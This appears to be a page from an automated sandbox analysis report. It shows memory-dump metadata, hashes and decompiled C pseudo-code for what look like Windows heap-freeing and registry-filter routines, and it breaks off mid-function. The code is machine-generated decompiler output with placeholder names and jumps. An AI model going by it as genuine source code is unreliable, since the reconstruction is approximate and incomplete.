Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$InitStringUnicode$Close$CurrentFreeHeapInitializeThunkUser
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 2369473089-1356375266
Opcode ID: 65eed245acd1305e234fb0be3d3a34413a97400d7998c36e137c3675da02c1ad
Instruction ID: 3b559173d5e460299d5df3de4bac00b8258fc53589861fa5ea8eadb73f0d151b
Opcode Fuzzy Hash: 65eed245acd1305e234fb0be3d3a34413a97400d7998c36e137c3675da02c1ad
Instruction Fuzzy Hash: 18A14C715083459FE311CF25C480B9FB7E8BB84719F11892EF598A7A81EB74D908CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0299BF, Relevance: 33.8, APIs: 16, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E6C0299BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E6C0BFA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E6C0CA80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E6C05D540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E6C00B150();
										} else {
											E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E6C00B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x6c0f6378 = 1;
											asm("int3");
											 *0x6c0f6378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E6C02A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E6C02A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E6C02BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E6C0CA80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E6C02A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E6C02A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E6C05D540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E6C00B150();
								} else {
									E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E6C00B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x6c0f6378 = 1;
									asm("int3");
									 *0x6c0f6378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E6C0BFA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E6C0CA80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E6C05D540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E6C00B150();
													} else {
														E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E6C00B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x6c0f6378 = 1;
														asm("int3");
														 *0x6c0f6378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E6C02A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E6C02A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E6C02BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E6C0CA80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E6C05D540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E6C00B150();
													} else {
														E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E6C00B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x6c0f6378 = 1;
														asm("int3");
														 *0x6c0f6378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E6C02A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										E6C02A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E6C02BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E6C02BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x6c0299ca
0x6c0299cc
0x6c0299df
0x6c0299e3
0x6c0299f8
0x6c0299fb
0x6c0299fb
0x00000000
0x6c029a48
0x6c029a48
0x6c029a4c
0x6c029a51
0x6c029a55
0x6c029a61
0x6c029a66
0x6c029a68
0x6c071457
0x6c07145c
0x6c07145c
0x6c029a68
0x6c029a6e
0x6c029a71
0x6c029a74
0x6c029a76
0x6c071466
0x6c071469
0x6c071469
0x6c07146c
0x6c07146e
0x6c071471
0x6c071474
0x6c071477
0x6c071479
0x6c07159c
0x6c07159c
0x6c07159d
0x6c0715a6
0x6c0715ab
0x6c0715ab
0x00000000
0x6c0715ab
0x6c07147f
0x6c071481
0x00000000
0x00000000
0x6c07148a
0x6c07148d
0x6c071493
0x6c071495
0x6c0714c0
0x6c0714c0
0x6c0714c3
0x6c0714c6
0x6c0714c8
0x6c0714cb
0x6c0714cf
0x6c0714f2
0x6c0714f2
0x6c0714f5
0x6c0714f8
0x6c071501
0x6c071508
0x6c07150b
0x6c07150e
0x6c071510
0x6c071513
0x6c071515
0x6c071515
0x6c071518
0x6c071518
0x6c071513
0x6c071521
0x6c071525
0x6c07152a
0x6c07152d
0x6c071530
0x6c071532
0x6c071539
0x6c07153d
0x6c07155d
0x6c071562
0x6c07153f
0x6c071555
0x6c07155a
0x6c071570
0x6c071577
0x6c07157c
0x6c071582
0x6c071585
0x6c071589
0x6c07158b
0x6c071592
0x6c071593
0x6c071593
0x6c071589
0x6c071530
0x00000000
0x6c0714f8
0x6c0714d5
0x6c0714da
0x6c0714dc
0x00000000
0x6c0714de
0x6c0714e8
0x00000000
0x6c0714e8
0x6c071497
0x6c071497
0x6c0714a4
0x6c0714a4
0x6c0714a7
0x6c0714a9
0x6c0714ab
0x6c0714ab
0x6c07149c
0x6c07149e
0x6c0714a0
0x6c0714b0
0x6c0714b0
0x00000000
0x6c0714a2
0x6c0714a2
0x00000000
0x6c0714a2
0x6c0714a0
0x6c0714b3
0x6c0714bb
0x00000000
0x6c0714bb
0x6c071495
0x6c029a7c
0x6c029a7c
0x6c029a7f
0x6c029a7f
0x6c029a82
0x6c029a84
0x6c029a87
0x6c029a8a
0x6c029a8d
0x6c029a8f
0x6c07166a
0x6c07166a
0x6c07166b
0x6c071674
0x00000000
0x6c071674
0x6c029a95
0x6c029a97
0x00000000
0x00000000
0x6c029aa0
0x6c029aa3
0x6c029aa9
0x6c029aab
0x6c029ad7
0x6c029ad7
0x6c029ada
0x6c029add
0x6c029adf
0x6c029ae2
0x6c029ae6
0x6c029b22
0x6c029b27
0x6c029b29
0x00000000
0x6c029b2b
0x6c0715be
0x00000000
0x6c0715be
0x6c029b29
0x6c029ae8
0x6c029ae8
0x6c029aeb
0x6c029aee
0x6c0715cb
0x6c0715d2
0x6c0715d5
0x6c0715d7
0x6c0715da
0x6c0715dc
0x6c0715dc
0x6c0715dc
0x6c0715da
0x6c0715e5
0x6c0715e9
0x6c0715ee
0x6c0715f1
0x6c0715f3
0x6c0715f9
0x6c071600
0x6c071604
0x6c071624
0x6c071629
0x6c071606
0x6c07161c
0x6c071621
0x6c071637
0x6c07163e
0x6c071643
0x6c071649
0x6c07164c
0x6c071650
0x6c071656
0x6c07165d
0x6c07165e
0x6c07165e
0x6c071650
0x6c0715f3
0x6c029af4
0x6c029af7
0x6c029afc
0x6c029b00
0x6c029b04
0x6c029b08
0x6c029b14
0x6c0299fe
0x6c029a04
0x6c029a07
0x00000000
0x6c029a29
0x6c07169c
0x6c0716a0
0x6c0716a5
0x6c0716a9
0x6c0716b5
0x6c0716ba
0x6c0716bc
0x6c0716be
0x6c0716c3
0x6c0716c3
0x6c0716bc
0x6c0716c8
0x6c0716cc
0x6c07181b
0x6c07181b
0x6c07181e
0x6c07181e
0x6c071821
0x6c071823
0x6c071826
0x6c071829
0x6c07182c
0x6c07182e
0x6c071688
0x6c071688
0x6c071689
0x6c07168b
0x6c07168c
0x6c07168d
0x6c07168f
0x6c071692
0x00000000
0x6c071692
0x6c071834
0x6c071836
0x00000000
0x00000000
0x6c07183f
0x6c071842
0x6c071848
0x6c07184a
0x6c071875
0x6c071875
0x6c071878
0x6c07187b
0x6c07187d
0x6c071880
0x6c071884
0x6c0718a7
0x6c0718a7
0x6c0718aa
0x6c0718ad
0x6c0718b6
0x6c0718bd
0x6c0718c0
0x6c0718c3
0x6c0718c5
0x6c0718c8
0x6c0718ca
0x6c0718ca
0x6c0718cd
0x6c0718cd
0x6c0718c8
0x6c0718d5
0x6c0718da
0x6c0718df
0x6c0718e2
0x6c0718e5
0x6c0718e7
0x6c0718ee
0x6c0718f2
0x6c071912
0x6c071917
0x6c0718f4
0x6c07190a
0x6c07190f
0x6c071925
0x6c07192c
0x6c071931
0x6c07193a
0x6c07193e
0x6c071940
0x6c071947
0x6c071948
0x6c071948
0x6c07193e
0x6c0718e5
0x6c07194f
0x6c071952
0x6c071956
0x6c07195d
0x6c071961
0x6c07196d
0x00000000
0x6c07196d
0x6c07188a
0x6c07188f
0x6c071891
0x00000000
0x00000000
0x6c07189d
0x00000000
0x6c07189d
0x6c07184c
0x6c071859
0x6c071859
0x6c07185c
0x00000000
0x00000000
0x6c071851
0x6c071853
0x6c071855
0x6c071865
0x6c071865
0x6c071866
0x6c071868
0x6c071870
0x00000000
0x6c071870
0x6c071857
0x6c071857
0x6c07185e
0x00000000
0x6c0716d2
0x6c0716d2
0x6c0716d5
0x6c0716d5
0x6c0716d8
0x6c0716da
0x6c0716dd
0x6c0716e0
0x6c0716e3
0x6c0716e5
0x6c071808
0x6c071808
0x6c071809
0x6c071812
0x6c071817
0x6c071817
0x00000000
0x6c071817
0x6c0716eb
0x6c0716ed
0x00000000
0x00000000
0x6c0716f6
0x6c0716f9
0x6c0716ff
0x6c071701
0x6c07172c
0x6c07172c
0x6c07172f
0x6c071732
0x6c071734
0x6c071737
0x6c07173b
0x6c07175e
0x6c07175e
0x6c071761
0x6c071764
0x6c07176d
0x6c071774
0x6c071777
0x6c07177a
0x6c07177c
0x6c07177f
0x6c071781
0x6c071781
0x6c071784
0x6c071784
0x6c07177f
0x6c07178c
0x6c071791
0x6c071796
0x6c071799
0x6c07179c
0x6c07179e
0x6c0717a5
0x6c0717a9
0x6c0717c9
0x6c0717ce
0x6c0717ab
0x6c0717c1
0x6c0717c6
0x6c0717dc
0x6c0717e3
0x6c0717e8
0x6c0717ee
0x6c0717f1
0x6c0717f5
0x6c0717f7
0x6c0717fe
0x6c0717ff
0x6c0717ff
0x6c0717f5
0x6c07179c
0x00000000
0x6c071764
0x6c071741
0x6c071746
0x6c071748
0x00000000
0x00000000
0x6c071754
0x00000000
0x6c071754
0x6c071703
0x6c071710
0x6c071710
0x6c071713
0x00000000
0x00000000
0x6c071708
0x6c07170a
0x6c07170c
0x6c07171c
0x6c07171c
0x6c07171d
0x6c07171f
0x6c071727
0x00000000
0x6c071727
0x6c07170e
0x6c07170e
0x6c071715
0x00000000
0x6c071715
0x6c0716cc
0x6c029a45
0x6c029a45
0x6c029a0e
0x6c029a1c
0x6c029a23
0x6c07167e
0x6c07167f
0x6c071681
0x6c071683
0x6c071684
0x00000000
0x6c071684
0x00000000
0x6c029aad
0x6c029aad
0x6c029ab0
0x6c029ab3
0x6c029ab3
0x6c029ab6
0x00000000
0x00000000
0x6c029ab8
0x6c029aba
0x6c029abc
0x6c029ac8
0x6c029ac8
0x00000000
0x6c029abe
0x6c029abe
0x6c029ac0
0x00000000
0x6c029ac0
0x6c029abc
0x6c029ad2
0x00000000
0x6c029ad2
0x6c029aab

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 6C071572, 6C071639, 6C0717DE, 6C071927
HEAP: , xrefs: 6C07155D, 6C071624, 6C0717C9, 6C071912
HEAP[%wZ]: , xrefs: 6C071550, 6C071617, 6C0717BC, 6C071905

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 18c1595860c7d85a2b3e15cfab9ae1e83f6aef440c037757a6b2bbec816fe8ee
Instruction ID: ff1965c21009bb2588382f2ac6d9cf351e1684221183beb2617aebe60abae261
Opcode Fuzzy Hash: 18c1595860c7d85a2b3e15cfab9ae1e83f6aef440c037757a6b2bbec816fe8ee
Instruction Fuzzy Hash: 0322F670A00245DFD728CF29C4A0BBABBF5EF45708F24856DE8598BB81D735E885CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C008239, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 233
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6C008239(signed int* __ecx, long* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				long _v568;
				long _v572;
				intOrPtr _v576;
				short _v578;
				void* _v580;
				signed int _v584;
				intOrPtr _v586;
				void* _v588;
				void* _v592;
				void* _v596;
				intOrPtr _v600;
				long* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				void* _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				void* _t99;
				long _t118;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				void* _t138;
				intOrPtr _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0x6c0fd360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E6C016D30( &_v580, L"UseFilter") < 0) {
					L4:
					return E6C04B640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = E6C049650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E6C016D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(RtlPrefixUnicodeString( &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E6C049820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = E6C049600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E6C016D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
